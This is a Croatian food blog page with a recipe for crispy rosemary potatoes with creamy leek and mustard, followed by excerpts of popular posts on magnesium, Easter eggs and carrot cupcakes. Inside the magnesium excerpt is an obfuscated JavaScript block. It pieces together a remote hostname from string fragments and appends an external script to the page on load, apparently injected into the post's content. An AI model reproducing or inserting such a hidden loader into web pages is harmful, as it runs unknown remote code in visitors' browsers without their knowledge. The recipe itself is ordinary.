HRSKAVI KRUMPIR S RUŽMARINOM, PORILUKOM I SENFOM 🥔





Hrskavi krumpir s ružmarinom, porilukom i senfom




Poriluk i krumpir su spoj koji uvijek funkcionira. Hrskavo pečen krumpir s mirisnim ružmarinom, uz bogat kremasti poriluk s blagom notom senfa, čine jelo koja lako postaje zvijezda svakog stola. Odlično se slaže uz meso, ribu ili kao samostalan bezmesni obrok.





Hrskavi krumpir s ružmarinom, porilukom i senfom



Sastojci:

  • 2 srednja poriluka, narezana na kolutove
  • 500 g mladog krumpira
  • 6 grančica ružmarina
  • 3 češnja češnjaka, sitno naribana
  • 2 žlice vrhnja
  • 1 žličica blagog senfa
  • 1 žličica senfa s celim zrnom
  • 1 žlica sitno nasjeckanog peršuna, plus malo za serviranje
  • maslinovo ulje
  • sol i papar




Priprema:

Stavite krumpir u veliku posudu s hladnom, dobro posoljenom vodom i dodajte nekoliko grančica ružmarina. Kuhajte dok krumpir ne omekša, zatim ga ocijedite i ostavite da se kratko ohladi.

Sitno nasjeckajte listiće preostalog ružmarina. Pomiješajte ih s češnjakom i dvije žlice maslinovog ulja u velikoj posudi.

Zagrijte pećnisu na 190 stupnjeva. Kada krumpir bude dovoljno hladan za rukovanje, prerežite ga uzdužno na pola i dobro izmiješajte s pripremljenim uljem, ružmarinom i češnjakom. Poredajte krumpir na pleh za pečenje, presječenom stranom nadolje, i pecite dok ne postane zlatan i hrskav.

U međuvremenu zagrijte malo maslinovog ulja u velikoj tavi na srednjoj temperaturi. Dodajte poriluk i lagano ga dinstajte dok ne omekša. Umiješajte vrhnje, peršun i obe vrste senfa. Kratko zagrijte i začinite po ukusu soli i paprom.

Kremasti poriluk rasporedite na tanjur za serviranje, preko dodajte pečeni krumpir i pospite s malo svježeg peršuna.





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više